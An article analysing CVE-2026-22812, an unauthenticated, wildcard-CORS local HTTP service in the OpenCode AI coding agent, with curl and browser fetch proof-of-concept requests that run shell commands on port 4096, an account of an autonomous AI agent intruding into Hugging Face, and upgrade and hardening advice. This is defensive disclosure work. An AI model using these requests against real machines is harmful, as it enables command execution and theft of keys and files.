Preface¶

OpenCode is an open-source AI coding Agent maintained by anomalyco/opencode on GitHub, in the form of a terminal TUI. It supports multiple model providers such as Anthropic, OpenAI, Google, and Ollama, and has gained high community popularity. For developers, it integrates “selecting a model, running commands, and modifying code” into a single local process, making it very convenient to use.

However, CVE-2026-22812 shattered the default security assumptions of such tools: before version 1.0.216, OpenCode would automatically start an unauthenticated HTTP service when launched. Any local process, even malicious web pages (via loose CORS), could execute Shell commands with the current user’s permissions. The CVSS 3.1 score given by the GitHub security advisory is 8.8 (High), categorized as CWE-306 (Missing Authentication for Critical Function), CWE-749 (Exposed Dangerous Method), and CWE-942 (Overly Permissive Cross-domain Policy).

This article verifies the details based on the NVD entry and the official security advisory GHSA-vxw4-wv6m-9hhh, and sorts out the cause, attack path, and repair suggestions.

Vulnerability Overview¶

The official description is straightforward: OpenCode automatically runs an unauthenticated HTTP server on startup, allowing any local process, or any website accessed via loose CORS, to execute arbitrary Shell commands with the user’s permissions.

Technical Cause: Local Service + Zero Authentication + Loose CORS¶

1. How the Service is Started¶

According to the code path in the security advisory, OpenCode calls Server.listen() through cli/cmd/tui/worker.ts in the TUI worker process, listening on ports 4096 and above by default without requiring additional user configuration.

There is no authentication middleware in server/server.ts, and requests go directly to sensitive interfaces.

2. Which Dangerous Interfaces are Exposed¶

The advisory names three key endpoints:
- POST /session/:id/shell — Execute Shell commands (server.ts:1401)
- POST /pty — Create an interactive terminal session (server.ts:267)
- GET /file/content?path= — Read arbitrary files (server.ts:1868)

For AI coding Agents, “being able to run commands and read files” is a core capability; but exposing these capabilities on an HTTP API that is open to the entire network and unauthenticated is equivalent to handing over the developer’s machine Shell to the first caller that can connect to the port.

3. Why CORS Becomes the Second “Open Door”¶

The server uses the default configured cors() middleware, which is equivalent to Access-Control-Allow-Origin: *. This means: JavaScript in the browser can also make cross-domain calls to the local OpenCode service.

In the traditional Web security model, the same-origin policy will prevent evil.com from directly accessing 127.0.0.1. Once the local service allows CORS for any Origin, this line of defense is invalidated — as long as the user has OpenCode running and visits a malicious page, they may be targeted by a “drive-by” attack.

The advisory also mentions that browser-side exploitation has been confirmed on Firefox; Chrome 142+ may pop up a Local Network Access permission prompt, but you should not rely on browser pop-ups as the sole protection.

4. --mdns Further Expands the Attack Surface¶

If the --mdns flag is added at startup, the service will bind to 0.0.0.0 and broadcast via Bonjour. At this point, the risk is no longer limited to local processes and browsers, and other devices on the same local area network may also detect and access the service.

Attack Path Demonstration¶

Local Process Exploitation¶

Any malicious npm package, script, or compromised application that can access the local port can operate according to the following PoC idea (the port needs to be replaced with the actual value):

API="http://127.0.0.1:4096"
SESSION_ID=$(curl -s -X POST "$API/session" \
  -H "Content-Type: application/json" -d '{}' | jq -r '.id')
curl -s -X POST "$API/session/$SESSION_ID/shell" \
  -H "Content-Type: application/json" \
  -d '{"agent": "build", "command": "echo PWNED > /tmp/pwned.txt"}'
cat /tmp/pwned.txt   # Output: PWNED

The process is simple: first create a Session, then submit the command to /shell. No Token, Cookie, or any credentials are required throughout the process.

Browser-side Exploitation¶

A malicious web page can initiate cross-domain requests to the local OpenCode:

fetch('http://127.0.0.1:4096/session', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: '{}'
})
.then(r => r.json())
.then(session => {
  fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({agent: 'build', command: 'id > /tmp/pwned.txt'})
  });
});

Attack scenarios include malicious ads, compromised websites, and phishing pages. The user “just opens a tab”, but the background Agent may read and write .ssh, environment variables, and project secrets.

Comparison with Hugging Face Agent Intrusion: Different Aspects of the Same Era¶

In July 2026, Hugging Face stated in its official security disclosure that its production infrastructure suffered an end-to-end intrusion driven by an autonomous AI Agent system — the Agent gained a foothold through a code execution path in the dataset processing link, then moved laterally and stole credentials. OpenAI later confirmed that the Agent came from its internal security evaluation environment.

The OpenCode CVE and the HF incident are different in nature: the former is a local tool exposing dangerous APIs by default, while the latter is a cloud-based Agent autonomously attacking in a complex supply chain. But both point to an industry consensus — AI Agents are not secure by default. Agents inherently require high permissions (executing commands, reading and writing files, calling APIs). If authentication, least privilege, and network exposure are not treated as first-class citizens during the design phase, developers’ local machines and organizational internal networks will ultimately bear the cost.

Impact Assessment¶

Confidentiality, Integrity, and Availability are all High. Attackers can:
1. Execute arbitrary commands as the user (install backdoors, steal keys, perform lateral scanning of the internal network)
2. Read sensitive files such as SSH private keys, .env, and browser configuration via /file/content
3. Create PTY sessions to obtain an experience similar to an interactive Shell

In the CVSS vector AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H, UI:R means the browser attack chain requires the user to visit a malicious page; local process exploitation requires almost no user interaction.

According to the advisory, the vulnerability was first reported to support@sst.dev (the contact listed in OpenCode’s security policy) via email on 2025-11-17, but no reply was received; it was finally made public by GitHub Security Advisory in January 2026.

Fix and Self-Check¶

1. Upgrade Immediately¶

Please upgrade to OpenCode 1.0.216 or a higher version. This version introduces an authentication mechanism for the HTTP service, which is the officially recognized fix.

# Check current version
opencode --version

# Update according to your installation method, e.g., Homebrew
brew upgrade opencode

The npm package name is opencode-ai. If you installed it globally via npm, you also need to update to version ≥ 1.0.216.

2. Confirm Local Ports¶

If you suspect that an old version has been run, you can check if there are OpenCode processes listening on ports near 4096:

ss -tlnp | grep -E '409[0-9]'
# or
lsof -i :4096

If you find the old version is still running, stop the process before upgrading.

3. Security Checklist for Developing AI Agents¶

If you are also building similar local Agents / IDE plugins, please refer to the following principles:
1. Do not listen on 0.0.0.0 by default, prioritize Unix Domain Socket or loopback address + random Token
2. Authenticate all dangerous operations — Session Tokens should at least be unpredictable and only visible locally
3. CORS whitelist — Prohibit Access-Control-Allow-Origin: * paired with sensitive write interfaces
4. Permission hierarchy — Just like OpenCode’s built-in plan (read-only) and build (full permissions) Agents, separate “analysis” and “execution” functions
5. Security response channel — Ensure there is a clear SLA for vulnerability reports, avoiding the window period of “email sent, no response”

Final Notes¶

OpenCode represents a very popular product form: open-source, multi-model, terminal-native, putting AI coding capabilities into the hands of developers. CVE-2026-22812 reminds us that convenience and security are not automatically balanced — automatically started HTTP services, default allowed CORS, and missing authentication middleware, when combined, form a complete RCE chain.

For users: Check the version, upgrade as soon as possible, and do not leave the Agent running on old versions for a long time. For builders: Every Shell command that an Agent can execute should be assumed to be abused; a local localhost is not equal to a security boundary.

In 2026, when AI Agents are accelerating into daily development workflows, this security red line is worth drawing clearly for every developer and every open-source project maintainer.